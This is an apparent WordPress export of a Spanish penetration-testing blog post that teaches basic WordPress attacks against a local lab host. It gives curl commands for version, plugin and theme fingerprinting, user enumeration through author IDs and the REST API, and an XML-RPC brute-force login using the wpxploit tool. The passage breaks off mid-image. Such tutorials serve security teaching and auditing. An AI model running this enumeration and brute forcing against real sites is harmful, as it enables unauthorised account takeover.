{"id":3654,"date":"2024-04-02T21:33:15","date_gmt":"2024-04-02T19:33:15","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3654"},"modified":"2025-01-12T19:19:01","modified_gmt":"2025-01-12T18:19:01","slug":"hacking-wordpress-guia-de-explotacion-basica","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/","title":{"rendered":"Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u00a1Hola a todos! Hoy vamos a meternos en el mundo de WordPress con este nuevo post &#8220;Hacking WordPress &#8211; Gu\u00eda de explotaci\u00f3n b\u00e1sica&#8221;, pero desde una perspectiva un poco diferente. No, no vamos a hablar sobre c\u00f3mo crear el blog de tus sue\u00f1os o la p\u00e1gina de tu negocio online. Vamos a adentrarnos en el lado oscuro: c\u00f3mo los pentesters le echan el guante a sitios hechos con WordPress. Pero oye, antes de que pienses mal, nuestro viaje es por una buena causa: aprender a protegernos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vamos a desmenuzar algunas t\u00e9cnicas que estos cibercacos usan para colarse en sitios como el tuyo y el m\u00edo. Hablaremos de cosas como inyecciones SQL que suenan a enfermedad pero que en realidad pueden enfermar tu sitio, de XSS (no, no es una talla extra peque\u00f1a), y de c\u00f3mo un simple descuido en tu configuraci\u00f3n puede ser la entrada VIP para estos intrusos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pero tranqui, que esto no es para asustarte, sino todo lo contrario. La idea es que, conociendo sus trucos, podamos blindar nuestros sitios y dormir un poco m\u00e1s tranquilos. As\u00ed que, si te pica la curiosidad sobre c\u00f3mo mantener a raya a los malos de internet, qu\u00e9date por aqu\u00ed. \u00a1Vamos a hacer de nuestro WordPress una fortaleza!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"432\" data-attachment-id=\"3655\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-66\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=2000%2C1080&amp;ssl=1\" data-orig-size=\"2000,1080\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?fit=800%2C432&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?resize=800%2C432&#038;ssl=1\" alt=\"Hacking WordPress - Gu\u00eda de explotaci\u00f3n b\u00e1sica\" class=\"wp-image-3655\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?w=2000&amp;ssl=1 2000w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?resize=300%2C162&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?resize=768%2C415&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?resize=1536%2C829&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">\u00bfQu\u00e9 es WordPress?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u00bfHas so\u00f1ado con tu espacio en internet? Ya sea un blog, tienda virtual o un sitio para tu negocio, WordPress es tu aliado digital para hacerlo realidad. Imagina WordPress como un kit digital de construcci\u00f3n, lleno de &#8216;plugins&#8217; y &#8216;temas&#8217; que te permiten crear el sitio web perfecto sin ser experto en inform\u00e1tica.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Desde su inicio en 2003, WordPress ha crecido hasta potenciar m\u00e1s del 40% de los sitios web, desde blogs personales hasta corporativos. Pero, su popularidad atrae a ciberdelincuentes que emplean t\u00e1cticas como inyecciones SQL, ataques de fuerza bruta y XSS para vulnerar sitios. La defensa contra estos ataques depende de una comunidad global que desarrolla actualizaciones de seguridad y plugins.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">WordPress ofrece la posibilidad de crear tu sitio web ideal, promoviendo al mismo tiempo la importancia de ser proactivo en la seguridad digital. Es una herramienta poderosa que, con el conocimiento adecuado, te permite ser el guardi\u00e1n de tu espacio en internet. Recuerda, mantenerse seguro es clave.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">A continuaci\u00f3n, vamos a ver algunas t\u00e9cnicas que podemos realizar durante nuestra auditor\u00eda de seguridad frente a WordPress.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">1. Enumeraci\u00f3n Pasiva<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">La enumeraci\u00f3n pasiva, se basa principalmente en poder obtener informaci\u00f3n del sitio web de una manera no sospechosa, es decir, sin casi interactuar con la plataforma o lo m\u00e1s m\u00ednimo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.1 Obtener la versi\u00f3n de WordPress<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Esto nos servir\u00e1 para poder buscar vulnerabilidades conocidas e incluso sus exploits asociados.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">1.1.1 Comprobaci\u00f3n de archivos<\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">Comprueba que los archivos &#8220;license.txt&#8221; o &#8220;readme.html&#8221; existen. Pueden obtener informaci\u00f3n importante sobre el sitio WordPress que estes auditando.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;poc.wordpress.local\/license.txt<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"514\" data-attachment-id=\"3657\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-1-11\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?fit=968%2C622&amp;ssl=1\" data-orig-size=\"968,622\" data-comments-opened=\"1\" data-image-title=\"image-1\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?fit=800%2C514&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?resize=800%2C514&#038;ssl=1\" alt=\"Hacking WordPress - Gu\u00eda de explotaci\u00f3n b\u00e1sica\" class=\"wp-image-3657\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?w=968&amp;ssl=1 968w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?resize=300%2C193&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-1.png?resize=768%2C493&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;poc.wordpress.local\/readme.html<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"667\" data-attachment-id=\"3658\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-2-11\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?fit=1026%2C855&amp;ssl=1\" data-orig-size=\"1026,855\" data-comments-opened=\"1\" data-image-title=\"image-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?fit=800%2C667&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?resize=800%2C667&#038;ssl=1\" alt=\"Hacking WordPress - Gu\u00eda de explotaci\u00f3n b\u00e1sica\" class=\"wp-image-3658\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?w=1026&amp;ssl=1 1026w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?resize=300%2C250&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-2.png?resize=768%2C640&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">1.1.2 Comprobaci\u00f3n del c\u00f3digo fuente<\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">La comprobaci\u00f3n del c\u00f3digo fuente, b\u00e1sicamente trata de buscar ciertas etiquetas, las cuales, a veces contienen la versi\u00f3n de WordPress, como por ejemplo:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Content WordPress (No tan normal):<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/ | grep 'content=WordPress'<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Meta Name:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/ | grep 'meta name='<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"93\" data-attachment-id=\"3660\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-3-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?fit=2490%2C288&amp;ssl=1\" data-orig-size=\"2490,288\" data-comments-opened=\"1\" data-image-title=\"image-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?fit=800%2C93&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?resize=800%2C93&#038;ssl=1\" alt=\"Hacking WordPress - Gu\u00eda de explotaci\u00f3n b\u00e1sica\" class=\"wp-image-3660\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?w=2490&amp;ssl=1 2490w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?resize=300%2C35&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?resize=768%2C89&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?resize=1536%2C178&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?resize=2048%2C237&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-3.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>CSS Link Files:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/ | grep 'css?ver='<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"93\" data-attachment-id=\"3661\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-4-9\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?fit=2542%2C294&amp;ssl=1\" data-orig-size=\"2542,294\" data-comments-opened=\"1\" data-image-title=\"image-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?fit=800%2C93&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?resize=800%2C93&#038;ssl=1\" alt=\"Hacking WordPress - Gu\u00eda de explotaci\u00f3n b\u00e1sica\" class=\"wp-image-3661\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?w=2542&amp;ssl=1 2542w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?resize=300%2C35&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?resize=768%2C89&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?resize=1536%2C178&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?resize=2048%2C237&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-4.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>JavaScript files:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/ | grep 'js?ver='<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"126\" data-attachment-id=\"3662\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-5-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?fit=2556%2C402&amp;ssl=1\" data-orig-size=\"2556,402\" data-comments-opened=\"1\" data-image-title=\"image-5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?fit=800%2C126&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?resize=800%2C126&#038;ssl=1\" alt=\"\" class=\"wp-image-3662\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?w=2556&amp;ssl=1 2556w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?resize=300%2C47&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?resize=768%2C121&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?resize=1536%2C242&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?resize=2048%2C322&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-5.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1.2 Obtener plugins<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Obtener que plugins tiene instalado el WordPress que estamos auditando, nos da la posibilidad de encontrar un plugin desactualizado y que tenga una vulnerabilidad p\u00fablica. Este caso nos dar\u00eda la posibilidad de explotarla y acceder.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H 'Cache-Control: no-cache, no-store' -L -ik -s http:\/\/poc.wordpress.local\/ | grep -E 'wp-content\/plugins\/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F \"THIIIIS\" '{print $2}' | cut -d \"'\" -f2<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"52\" data-attachment-id=\"3663\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-6-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?fit=2536%2C166&amp;ssl=1\" data-orig-size=\"2536,166\" data-comments-opened=\"1\" data-image-title=\"image-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?fit=800%2C52&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?resize=800%2C52&#038;ssl=1\" alt=\"\" class=\"wp-image-3663\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?w=2536&amp;ssl=1 2536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?resize=300%2C20&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?resize=768%2C50&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?resize=1536%2C101&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?resize=2048%2C134&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-6.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1.3 Obtener los temas utilizados<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">De la misma manera que pueden existir plugin vulnerables, pasa lo mismo con los temas, puede pasar que existan vulnerabilidades que podamos aprovechar en nuestras auditor\u00edas.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\ncurl -s -X GET http:\/\/poc.wordpress.local\/ | grep -E 'wp-content\/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F \"THIIIIS\" '{print $2}' | cut -d \"'\" -f2<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"119\" data-attachment-id=\"3664\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-7-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?fit=2506%2C374&amp;ssl=1\" data-orig-size=\"2506,374\" data-comments-opened=\"1\" data-image-title=\"image-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?fit=800%2C119&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?resize=800%2C119&#038;ssl=1\" alt=\"\" class=\"wp-image-3664\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?w=2506&amp;ssl=1 2506w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?resize=300%2C45&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?resize=768%2C115&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?resize=1536%2C229&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?resize=2048%2C306&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-7.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1.4 Obtener versiones en general<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Esto nos ayudar\u00e1 para encontrar enlaces dentro del c\u00f3digo fuente los cuales contengan informaci\u00f3n sobre versiones en general.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H 'Cache-Control: no-cache, no-store' -L -ik -s http:\/\/poc.wordpress.local\/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F \"THIIIIS\" '{print $2}' | cut -d \"'\" -f2<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"162\" data-attachment-id=\"3666\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-8-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?fit=2554%2C518&amp;ssl=1\" data-orig-size=\"2554,518\" data-comments-opened=\"1\" data-image-title=\"image-8\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?fit=800%2C162&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?resize=800%2C162&#038;ssl=1\" alt=\"\" class=\"wp-image-3666\" style=\"width:840px;height:auto\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?w=2554&amp;ssl=1 2554w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?resize=300%2C61&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?resize=768%2C156&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?resize=1536%2C312&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?resize=2048%2C415&amp;ssl=1 2048w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/02\/image-8.png?w=2400&amp;ssl=1 2400w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2. Enumeraci\u00f3n Activa<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">2.1 User ID Brute force<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Esta t\u00e9cnica nos ayudar\u00e1 a encontrar los IDs que existen. En caso de lanzar la petici\u00f3n y recibir &#8220;status 200&#8221; o &#8220;status 300&#8221; quiere decir que el ID que hemos comprobado existe.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s -I -X GET http:\/\/poc.wordpress.local\/?author=1<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2.2 Comprobaci\u00f3n a trav\u00e9s de REST API<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">La instalaci\u00f3n de WordPress trae habilitado un REST API con el cual podemos interactuar, de esta manera podemos incluso llegar a obtener informaci\u00f3n:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Obtener informaci\u00f3n de los usuarios:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/index.php\/wp-json\/wp\/v2\/users<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Recolectar informaci\u00f3n sobre un usuario. Para esto ser\u00e1 necesario que el usuario haya realizado una publicaci\u00f3n:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/index.php\/wp-json\/oembed\/1.0\/embed?url=POST-URL<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Obtener informaci\u00f3n sobre la direcci\u00f3n IP interna del servidor:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl http:\/\/poc.wordpress.local\/index.php\/wp-json\/wp\/v2\/pages<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3. XML-RPC<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">XML-RPC en WordPress es como un int\u00e9rprete que permite a aplicaciones externas comunicarse con tu sitio. Imagina que quieres publicar en tu blog desde tu smartphone o interactuar con tu sitio WordPress a trav\u00e9s de otra plataforma. XML-RPC hace esto posible, sirviendo como un puente para que otras aplicaciones env\u00eden o reciban informaci\u00f3n de tu sitio WordPress, usando un lenguaje com\u00fan: XML. Aunque ha sido crucial para facilitar la interacci\u00f3n remota, tambi\u00e9n ha atra\u00eddo la atenci\u00f3n de ciberdelincuentes, quienes lo ven como un posible punto de entrada para sus travesuras. Por eso, aunque es una herramienta poderosa, su uso debe ser manejado con cuidado para mantener la seguridad de tu sitio.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.1 Comprobar que XML-RPC est\u00e1 habilitado<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Para comprobar si el sitio que estamos auditando, tendremos que realizar la siguiente petici\u00f3n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -s -I -X POST http:\/\/poc.wordpress.local\/xmlrpc.php<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">En caso de que la petici\u00f3n, nos devuelva como resultado un &#8220;200&#8221; status code, veremos que XML-RPC est\u00e1 habilitado en el sitio web.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.2 Fuerza bruta<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Para aprovechar en su m\u00e1ximo esplendor est\u00e1 funcionalidad, vamos a demostrar como podr\u00edamos obtener acceso mediante esta caracter\u00edstica al sitio web con fuerza bruta. Cabe mencionar que tambi\u00e9n podr\u00edamos realizar un ataque DoS. Para este ejemplo, vamos a utilizar la herramienta automatizada:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/relarizky\/wpxploit?tab=readme-ov-file\">wpxploit<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Vamos a clonar el respositorio de la herramienta y entonces vamos a lanzar el siguiente comando, el cual nos permitir\u00e1 ejecutar la herramienta e iniciar el proceso de bruta fuerza contra el sitio web que aloja WordPress:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 exploit.py http:\/\/poc.wordpress.local\/ 5 15<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"194\" data-attachment-id=\"3675\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/04\/02\/hacking-wordpress-guia-de-explotacion-basica\/image-67\/\" 